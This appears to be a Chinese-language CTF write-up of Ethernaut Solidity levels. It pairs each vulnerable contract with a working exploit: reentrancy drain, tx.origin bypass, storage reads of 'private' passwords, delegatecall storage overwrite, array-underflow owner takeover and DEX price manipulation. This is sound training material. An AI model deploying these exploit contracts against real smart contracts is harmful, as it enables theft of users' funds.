Hello Ethernet
await contract.info();
//"You will find what you need in info1()."
await contract.info1();
//'Try info2(), but with "hello" as a parameter.'
await contract.info2("hello");
//"The property infoNum holds the number of the next info method to call."
await contract.infoNum();
// 42
await contract.info42();
// "theMethodName is the name of the next method."
await contract.theMethodName();
// "The method name is method7123949."
await contract.method7123949();
// "If you know the password, submit it to authenticate()."
await contract.password();
// password
await contract.authenticate("password");
// None Fallback
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
} 需要把owner变成我们。所以我们只需要提交一个contribute,然后发送转账即可。最后withdraw。
await contract.contribute.sendTransaction({from: player, value: toWei('0.0009')})
await web3.eth.sendTransaction({from: player, to: contract.address,value: toWei("0.000001")})
await contract.owner()
await contract.withdraw() Fal1out
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Fallout {
using SafeMath for uint256;
mapping(address => uint256) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
} 同样是取得所有权。注意到这里所有权只在Fal1out中定义。所以直接调用就可以了。
await contract.Fal1out();
await contract.owner(); Coin Flip
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
} 伪随机。要求在同一个block内那么就需要合约来交互。但是一次交易只能进行一次操作。
所以简单写个合约。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./CoinFlip.sol";
contract Solve{
CoinFlip public coinFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _coinFlip) public{
coinFlip = CoinFlip(_coinFlip);
}
function guessFlip() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool guess = coinFlip == 1 ? true : false;
coinFlip.flip(guess);
}
} 调用十次就行。
Telephone
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
} 一眼看出,tx.origin 是交易发起人,msg.sender可以是合约。
所以再来一个合约。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITelephone{
function changeOwner(address _owner) external;
}
contract Solve{
ITelephone public phone;
constructor(address _phone){
phone = ITelephone(_phone);
}
function solve() public{
phone.changeOwner(msg.sender);
}
} Token
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;
constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
} 7.4.0之前(好像)的solidity是没有数学安全检查的。所以盲猜是溢出攻击。
然后看到transfer这个函数的检查好像没用诶!所以直接这样调用就行。
await contract.transfer(contract.address,22000001) Delegation
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
} 代理函数。当调用了Delegation.call(calldata)时,会自动往下一层Delegate中调用。所以我们只需要调用Delegation.call(”pwn()”)就可以了。
let fn = web3.utils.keccak256("pwn()")
await web3.eth.sendTransaction({from: player, to: contract.address, data: fn}) Force
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ } 什么都没有。如何通过合约向合约发送以太坊?
- 合约至少实现了一个payable函数,然后在调用函数的时候带eth
- 合约实现了一个recevie函数
- 合约实现了一个fallback函数
- 通过selfdestruct()
- 通过miner的奖励获得eth
所以显然是通过selfdestruct。我们只需要定义一个合约并且让他被destruct了,它的余额就能被转移到指定的地方。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Payer {
uint public balance = 0;
function destruct(address payable _to) external payable {
selfdestruct(_to);
}
function deposit() external payable {
balance += msg.value;
}
} Vault
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
} 这里private的内容,我们不能直接通过调用来查看。但是作为一个公开透明的web3网络,我们可以直接阅读storage来获得值。😈
通过await web3.eth.getCode(contract.address)可以查看字节码,于是可以通过一些网站来进行简单的decompile。https://www.oklink.com/zh-hans/decompile#bytecode=6080604052348015600f57600080fd5b506004361060325760003560e01c8063cf309012146037578063ec9b5b3a146057575b600080fd5b60005460439060ff1681565b604051901515815260200160405180910390f35b60666062366004607f565b6068565b005b806001541415607c576000805460ff191690555b50565b600060208284031215609057600080fd5b503591905056fea2646970667358221220fc7b38e6559928e1e1112f630b03a26ee6eb52d794080ecd75435ef82810dd9b64736f6c634300080c0033
但是能变成这个样子我是没想到的。
# Palkeoramix decompiler.
def storage:
stor0 is uint8 at storage 0
stor1 is uint256 at storage 1
def locked() payable:
return bool(stor0)
#
# Regular functions
#
def _fallback() payable: # default function
revert
def unlock(bytes32 _param1) payable:
require calldata.size - 4 >=′ 32
if stor1 == _param1:
stor0 = 0
对比已知代码,知道stor1是byte32的password。直接获取!
let password = await web3.eth.getStorageAt(contract.address,1)
await contract.unlock(password)
await contract.locked() King
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint256 public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
} 现在是0.001 eth。
(await contract.prize()).toString()
// 0.001 写一个恶意合约,把所有的transfer都revert了,就可以了。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Solve{
address payable king;
constructor(address payable _king) {
king = _king;
}
receive() external payable {
revert("Impossible!");
}
function claimKing() external payable {
king.call{value: 0.0011 ether}("");
}
} let fn = web3.utils.keccak256("claimKing()")
await web3.eth.sendTransaction({from: player, to: "0x23C628C158b4162Cd49FBF13Dd009fFDf593E3c6",data: fn, value: toWei("0.0011")}) Re-entrancy
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
} 看名字就知道是重入攻击。如题:在withdraw函数中,更新记录在转账之后,转账时,如果我们构造一个恶意合约可以再次调用withdraw。从而取得所有的balance。
contract Attack {
Reentrance r;
uint256 amount = 0.001 ether;
constructor(address payable addr) public {
r = Reentrance(addr);
}
receive() external payable {
if (address(r).balance >= amount) {
r.withdraw(amount);
}
}
function attack() external payable {
r.donate{value: amount}(address(this));
r.withdraw(amount);
}
function withdraw() external {
msg.sender.transfer(address(this).balance);
}
} Elevator
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
} 实现一个build合约,满足调用goTo时,building.isLastFloor 先为false,再为true。
连着两次调用是反过来的。
于是
contract Building_ is Building{
Elevator public target;
bool result = true;
constructor(address elevator) {
target = Elevator(elevator);
}
function isLastFloor(uint) public returns (bool){
result = !result;
return result;
}
function attack() public {
target.goTo(2);
}
} 部署运行即可。
Privacy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
} 和之前那个一样,丢到反汇编程序里,然后直接看是哪一个storage就行。
所以直接取storage5就能拿到,再截取一半。
await contract.unlock((await web3.eth.getStorageAt(contract.address,5)).slice(0,34)) Gatekeeper
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
} 就是三个过滤。
gateOne:我们用合约就能绕过。
gateTwo:爆破gas。
gateThree:
- 低位 4 bytes (32 bits) == 低位 2 bytes (16 bits)
中间2 bytes置零
- 低位 4 bytes (32 bits) != 高位 4 bytes (32 bits)
高位不置零
- 低位 4 bytes (32 bits) == tx.origin 的低位 2 bytes (16 bits)
所以相当于这个gateKey = tx.origin & 0xffffffff0000ffff
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Solve {
function attack(address addr) external returns (bool) {
GatekeeperOne g = GatekeeperOne(addr);
bytes8 gateKey = bytes8(uint64(uint160(tx.origin))) & 0xffffffff0000ffff;
for (uint i = 0; i < 1000; i ++) {
try g.enter{gas: 8191 * 3 + i}(gateKey) returns (bool result) {
return result;
} catch { }
}
return false;
}
} Gatekeeper Two
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
} 好像这个看起来比上一个简单。gateTwo是判断caller是否为合约的方法。当然如果在constructor中调用这个函数,不会出现错误。
contract Solve {
constructor(address addr) {
GatekeeperTwo g = GatekeeperTwo(addr);
bytes8 gateKey = bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xffffffffffffffff;
g.enter(gateKey);
}
} Naught Coin
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint256 public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
} 不让转账。但是可以收款啊。
再来一个合约,然后transferFrom就行。当然本账户是要approve的。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC20/IERC20.sol";
contract Solve {
function solve(address _token) external {
IERC20 token = IERC20(_token);
uint256 balance = token.balanceOf(msg.sender);
token.transferFrom(msg.sender, address(this), balance);
}
} Preservation
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint256 storedTime;
function setTime(uint256 _time) public {
storedTime = _time;
}
} delegateCall时,相当于把下一个合约的代码复制到当前环境中来运行。
并且由于LibraryContract 和Preservation 代码中变量结构不同,LibraryContract中setTime调用时,实际上是修改第一个slot中的内容,即address public timeZone1Library的内容。所以可以覆盖上一个恶意合约,再次修改即可修改owner。
contract Solve {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
function setTime(uint256 /*_time*/) public {
owner = msg.sender;
}
} Recovery
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
string public name;
mapping(address => uint256) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}
// allow transfers of tokens
function transfer(address _to, uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
} 简单取证题。直接去找transcation中的某个带有0.001 ether的合约。https://sepolia.etherscan.io/tx/0x4204a861a00fc325d4446c80310971a8c737f85653a594bfe8f537354caaa5d0#internal
MagicNumber
10byte的合约,并且能够返回42。类似之前SCTF的某个题。放文章吧,我太菜了.jpg
大概意思是,在创建合约时,只有initalize code被执行(包括constructor,以及在evm上设置你的合约的部分代码)。
runtime code。
其实函数调用在某些decompiler中可以被看到,其实就是在主函数中判断函数签名然后跳转执行。所以可以不用考虑,直接运行就好。
下面是runtime code,刚好在10byte内完成了返回42这个操作。
PUSH1 0x2a ; store 0x42
PUSH1 0x80
MSTORE
PUSH1 0x20 ; return 0x42
PUSH1 0x80
RETURN 然后是一个最短initalize code。这个好像上次用过来着
PUSH1 0x0a ; copy runtime code to memory
PUSH1 0x0c
PUSH1 0x00
CODECOPY
PUSH1 0x0a ; return the memory address of code
PUSH1 0x00
RETURN 于是最后是这样的一串,部署并调用后即可。
0x600a600c600039600a6000f3602a60805260206080f3 Alien Codex
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import "../helpers/Ownable-05.sol";
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function makeContact() public {
contact = true;
}
function record(bytes32 _content) public contacted {
codex.push(_content);
}
function retract() public contacted {
codex.length--;
}
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
} 现在发现panoramix特别好用。直接丢进去看看
可以发现owner存放在storage 0的位置,codex,可变数组,存放在storage 1 (应该是1 往后。)
版本非常老,0.5.0的版本,没有下溢检查,可以直接让数组长度变为0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff。
然后这样就可以修改内容了。但是现在问题是,数组中slot位置未知。
查阅资料之后知道,在0x1这个位置上存放的内容,存放在slot上的web3.utils.soliditySha3(web3.utils.padLeft(web3.utils.toHex(1), 64)) 。所以直接计算0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 和上面值的差,即35707666377435648211887908874984608119992236509074197713628505308453184860937 就能得到在数组中的slot0位置。
好!于是就直接写入就好了!
await contract.revise("35707666377435648211887908874984608119992236509074197713628505308453184860938","0x0000000000000000000000012bD02c885ba7dc81960AF0e2de7b1b2bB8E58c09") Denial
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}
这里withdraw中并没有检测revert。也就是就算我们revert了,也无法终止程序。所以解决办法是写个死循环耗尽gas。此事在USTC Hackergame 2024中也有记载。
部署并设置好即可。
Shop
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint256);
}
contract Shop {
uint256 public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
} 和Elevator一样。但是这里状态的转换是走isSold这里记录的。
Dex
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";
contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint256 amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint256 amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint256) {
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
} 流动性池子的一个问题。当交易值过大,并且没人补充流动性时,可以通过多次反复交易,把池子中内容全部取出。(价格会被操纵)
let token1 = await contract.token1();
let token2 = await contract.token2();
await contract.approve(instance, 1000);
await contract.swap(token1, token2, 10);
await contract.swap(token2, token1, 20);
await contract.swap(token1, token2, 24);
await contract.swap(token2, token1, 30);
await contract.swap(token1, token2, 41);
await contract.swap(token2, token1, 45); Dex Two
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";
contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint256 amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint256 amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint256) {
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
} 这个题要求提取出token1和token2中所有余额。和上一题的区别在于,可以使用token3(即自己的代币)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC20/ERC20.sol";
contract Token3 is ERC20 {
constructor() ERC20("Token3", "Token3") { }
function mint(address account, uint256 value) external {
_mint(account, value);
}
function burn(address account, uint256 value) external {
_burn(account, value);
}
} // mint c for user and contract.
let a = await contract.token1();
let b = await contract.token2();
let c = "0x2872B4B3b18F290062C47bA14C63dbCeF525905D";
await contract.swap(c,a,1);
await contract.swap(c,b,2); Puzzle Wallet
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "../helpers/UpgradeableProxy-08.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData)
UpgradeableProxy(_implementation, _initData)
{
admin = _admin;
}
modifier onlyAdmin() {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted() {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success,) = to.call{value: value}(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success,) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
} 这个题过几天再看吧,有点晕
Motorbike
// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;
import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";
contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
struct AddressSlot {
address value;
}
// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()"));
require(success, "Call failed");
}
// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback() external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}
// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}
contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
uint256 public horsePower;
struct AddressSlot {
address value;
}
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(address newImplementation, bytes memory data) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
} 在motorbike中对engine初始化的过程中,由于是delegatecall,engine中的两个public变量:upgrader和horsePower都是没有被改变的。所以可以手动调用initalize,然后通过upgradeToAndCall,进行selfdestruct。
